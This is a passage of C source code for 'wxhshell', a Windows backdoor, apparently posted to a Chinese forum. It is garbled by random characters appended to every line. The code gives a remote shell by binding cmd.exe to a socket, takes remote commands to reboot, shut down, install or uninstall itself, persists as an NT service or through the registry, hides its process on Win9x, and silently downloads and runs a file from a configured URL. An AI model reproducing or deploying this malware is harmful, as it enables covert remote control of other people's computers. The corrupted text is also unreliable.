  } U$EQeb  
  else { n|) JhXQ  
18AlQ+')?w  
    switch(cmd[0]) { ,`U'q|b  
  s/0~!0  
  // 帮助 &e;GoJ  
  case '?': { 8=WX`*-uH  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); UsnIx54D3  
    break; de,4M s!%  
  } fea4Ul{ib  
  // 安装 M:R|hR{=*  
  case 'i': { e<duD W$X  
    if(Install()) r%vO^8FQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qqr]S^WW  
    else :\IZ-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FGu#Pa  
    break; L /V;;  
    } xAu&O\V  
  // 卸载 Zz^!QlF  
  case 'r': { `+5,=S  
    if(Uninstall()) xM D]b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >/9on.  
    else yN9setw*,M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *s (L!+  
    break; DUWSY?^c  
    } aSQvtv)91  
  // 显示 wxhshell 所在路径 ;\rKkH"K8n  
  case 'p': { {:ZsUnzm  
    char svExeFile[MAX_PATH]; FSA"U9 w<  
    strcpy(svExeFile,"\n\r"); aJSBG|IC  
      strcat(svExeFile,ExeFile); cp L'  
        send(wsh,svExeFile,strlen(svExeFile),0); ]Aa.=  
    break; 'I5~<"E  
    } baz~luM  
  // 重启 v|GDPq  
  case 'b': { 2_ CJV  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y9X1X{  
    if(Boot(REBOOT)) 7cV GB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r"=6s/q7  
    else { ;Ff5ooL{  
    closesocket(wsh); nPj &a  
    ExitThread(0); &0JCZ /e  
    } ?f4jqF~Fh  
    break; G\/7V L  
    } MRa |<yK  
  // 关机 *Fm#Qek  
  case 'd': { YHfk; FI  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3mH(@ -OA  
    if(Boot(SHUTDOWN)) U_ *K%h\m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _aK4[*jnqh  
    else { >;Vy{bL8  
    closesocket(wsh); y({EF~w  
    ExitThread(0); |>jlmaV  
    } |$sMzPCxOk  
    break; &*;E wfgZ  
    } nYts[f9e  
  // 获取shell G*W54[  
  case 's': { 9s`j@B0N57  
    CmdShell(wsh); `xie/  
    closesocket(wsh); N)o/}@]6  
    ExitThread(0); qZ rv2dT  
    break; .Uh|V -  
  } \4"01:u'  
  // 退出 mH5[(?   
  case 'x': { 95b65f  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %tT=q^%5  
    CloseIt(wsh); mFW/xZwR,5  
    break; CINC1Ll_24  
    } 6/l{e)rX2o  
  // 离开 w6@8cNXK  
  case 'q': { 7f#r&~=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2t 1u{  
    closesocket(wsh); UwVc!Lys  
    WSACleanup(); J6J|&Z~UT,  
    exit(1); <v[UYvZvY  
    break; Ncsk~=[  
        } q+?>shqsZ  
  } :Kx6|83  
  } >Z!H9]f(  
2sOetmWE7  
  // 提示信息 [zc8f  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V jZx{1kCR  
} 8bW,.to(?x  
  } iYBp"+#2  
CT#u+]T  
  return; KXbD7N.  
} bYB:Fe=2  
~-K<gT/  
// shell模块句柄 /4bHN:I]M  
int CmdShell(SOCKET sock) #xe-Yw1!  
{ HG:9yP<,o  
STARTUPINFO si; @&}~r  
ZeroMemory(&si,sizeof(si)); $C`YVv%?0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Fa^I 1fk  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; OYayTKxN  
PROCESS_INFORMATION ProcessInfo; iK=SK3)vR  
char cmdline[]="cmd"; ;vLg4k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); tk~<tqMq  
  return 0; PYJ8\XZ1_N  
} 5`O af\S  
v]e6CZwo  
// 自身启动模式 >TB Rp,;r  
int StartFromService(void) m8C scC Z}  
{ 1 -:{&!  
typedef struct 'c&S%Ra[3G  
{ p!RyxB1.|  
  DWORD ExitStatus; $hE,BeQ  
  DWORD PebBaseAddress; 4}MZB*);0  
  DWORD AffinityMask; 2%gLq  
  DWORD BasePriority;  <6[P5>  
  ULONG UniqueProcessId; z2DjYTm[~  
  ULONG InheritedFromUniqueProcessId; qe_59'K  
}   PROCESS_BASIC_INFORMATION; <WGx 6{  
xYl ScM_~  
PROCNTQSIP NtQueryInformationProcess; v*VId l>  
/IyCvo  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3_cZaru  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; . Q$/\E  
gRQV)8uh  
  HANDLE             hProcess; ylVBK{w9  
  PROCESS_BASIC_INFORMATION pbi; 8zWKKcf7t  
GjGt' m*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); l>iE1`iL<  
  if(NULL == hInst ) return 0; XTPf~Te,=  
2nA/{W\hC  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kNDN<L  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ac< hz0   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fqQ(EVpQ  
&<\i37y  
  if (!NtQueryInformationProcess) return 0; V1!;Hvm]+  
c</u]TD  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h Lv_ER?  
  if(!hProcess) return 0; Gp5[H}8K  
A@qwD300Vo  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <Z58"dg.5  
+tSfx  
  CloseHandle(hProcess); 1 wB2:o<  
HA W57N  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xXn2M*g  
if(hProcess==NULL) return 0; P K9BowlW  
~n )<L7  
HMODULE hMod; zv[pfD7a  
char procName[255]; +4--Dl?  
unsigned long cbNeeded; MTUJsH\  
/By`FW Y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dp'xd>m  
R7j'XU  
  CloseHandle(hProcess); NP< {WL#  
/\C5`>x  
if(strstr(procName,"services")) return 1; // 以服务启动 ? > 7SZiC`  
R<AT}!mkR  
  return 0; // 注册表启动 6i.!C5YX]  
} Y[WL}:"93  
UYW{A G2C  
// 主模块 , s .{R  
int StartWxhshell(LPSTR lpCmdLine) Weu%&u-  
{ P@pJ^5Jf  
  SOCKET wsl; cW*p}hD  
BOOL val=TRUE; p:@JCsH=  
  int port=0; Y9_OkcW)  
  struct sockaddr_in door; ZclZD{%8J  
$`O%bsjX  
  if(wscfg.ws_autoins) Install(); NP?hoqeKs  
p@Ng.HE  
port=atoi(lpCmdLine); /UAcN1K!B  
((T0zQ7=  
if(port<=0) port=wscfg.ws_port; x;L.j7lzA;  
+rcDA|  
  WSADATA data; iD-,C`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4(O;lVT}  
G" &yE.E5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   sn6:\X<[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); yB~` A>~M  
  door.sin_family = AF_INET; ,OilGTQ#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5(V'<  
  door.sin_port = htons(port); M);@XcS  
?O!'ZZX  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { nL]-]n;  
closesocket(wsl); 2^.qKY@g@  
return 1; r"uOf;m  
} e6JT|>9A7  
_J+p[=[L  
  if(listen(wsl,2) == INVALID_SOCKET) { c 6"hk_  
closesocket(wsl); +o7Np| Ou  
return 1; @ 4%a  
} tbr1mw'G  
  Wxhshell(wsl); *4<Kz{NF  
  WSACleanup(); _Boe"   
Sy?O(BMo  
return 0; +_h1JE_}D  
L dyTB@  
} %:~LU]KX  
7[}K 2.W.  
// 以NT服务方式启动 ]J aV +b'O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1tMs\e-  
{ ,&X7D]  
DWORD   status = 0; }&I^1BHZs  
  DWORD   specificError = 0xfffffff; yu>DVD  
~ d!F|BH4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (&y~\t] H  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )n&@`>vm  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Spt]<~  
  serviceStatus.dwWin32ExitCode     = 0; =5QP'Qt{O  
  serviceStatus.dwServiceSpecificExitCode = 0; 7Ne`F(c  
  serviceStatus.dwCheckPoint       = 0; l0%qj(4`6&  
  serviceStatus.dwWaitHint       = 0; 2G9sKg,kL  
? h*Ngbj>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); LQs>[3rK  
  if (hServiceStatusHandle==0) return; & &\HE7*  
O=C z*j  
status = GetLastError(); 'Lb- +X,  
  if (status!=NO_ERROR) ?z]h Ysy  
{ -(Y(K!n  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; r6#It$NU  
    serviceStatus.dwCheckPoint       = 0; |z`kFil%  
    serviceStatus.dwWaitHint       = 0; <,S5(pZ  
    serviceStatus.dwWin32ExitCode     = status; ~VqDh*0  
    serviceStatus.dwServiceSpecificExitCode = specificError; wx,yx3c (  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `l0&,]  
    return; i{9_C/  
  } _3lci  
,%zU5hh  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >%o\Ue  
  serviceStatus.dwCheckPoint       = 0; e t$VR:  
  serviceStatus.dwWaitHint       = 0; 9ne13 qVm+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [-$:XOO  
} {+&qC\YF  
('u\rc2 R  
// 处理NT服务事件,比如:启动、停止 {d%% nK~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) H(~:Ajj+zQ  
{ ?^< E#2a  
switch(fdwControl) j m]d:=4_  
{ )zR(e>VX  
case SERVICE_CONTROL_STOP: os3jpFeG'  
  serviceStatus.dwWin32ExitCode = 0; jM'kY|<g;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; R zOs,  
  serviceStatus.dwCheckPoint   = 0; S-$N!G~!  
  serviceStatus.dwWaitHint     = 0; :E>" z6H  
  { \:To>A32  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v9<'nU WVR  
  } 0E5"}8  
  return; 2 ;z~xR  
case SERVICE_CONTROL_PAUSE: E W {vF|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :=iP_*#  
  break; 8?> #  
case SERVICE_CONTROL_CONTINUE: %rmn+L),;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \.`;p  
  break; Pr%Y!|  
case SERVICE_CONTROL_INTERROGATE: m@z.H;  
  break; ^4\h Z  
}; c8^M::NI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $@[`v0y*  
} c89+}]mGq  
<h*r  
// 标准应用程序主函数 srh>" 2."  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jOYa}jm?  
{ <;R}dlBASW  
]f3eiHg*  
// 获取操作系统版本 j!It1B  
OsIsNt=GetOsVer(); 'F)93SwU  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h "MiD  
=Z3{6y}3p  
  // 从命令行安装  *XlbD  
  if(strpbrk(lpCmdLine,"iI")) Install(); gtV^6(Y  
?51Y&gOEZ  
  // 下载执行文件 !6R;fD#^s  
if(wscfg.ws_downexe) { "zn<\z$l  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) * 7<{Xbsj^  
  WinExec(wscfg.ws_filenam,SW_HIDE); 907N;r  
} VDyQv^=#  
k`5jy~;  
if(!OsIsNt) { "x+o(jOy  
// 如果时win9x,隐藏进程并且设置为注册表启动 1^x "P#u  
HideProc(); #s\HiO$BT  
StartWxhshell(lpCmdLine); C3XB'CL6  
} [%);N\o2Y  
else P0B`H7D  
  if(StartFromService()) R7q\^Yzo  
  // 以服务方式启动 vG{+}o#  
  StartServiceCtrlDispatcher(DispatchTable); ,u:J"epM  
else e6 R<V]g  
  // 普通方式启动 <K(qv^C  
  StartWxhshell(lpCmdLine); t+ ,'  
Qcy /)4Hfg  
return 0; @Nm;lZK  
}
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只看该作者 1 发表于: 2006-10-10
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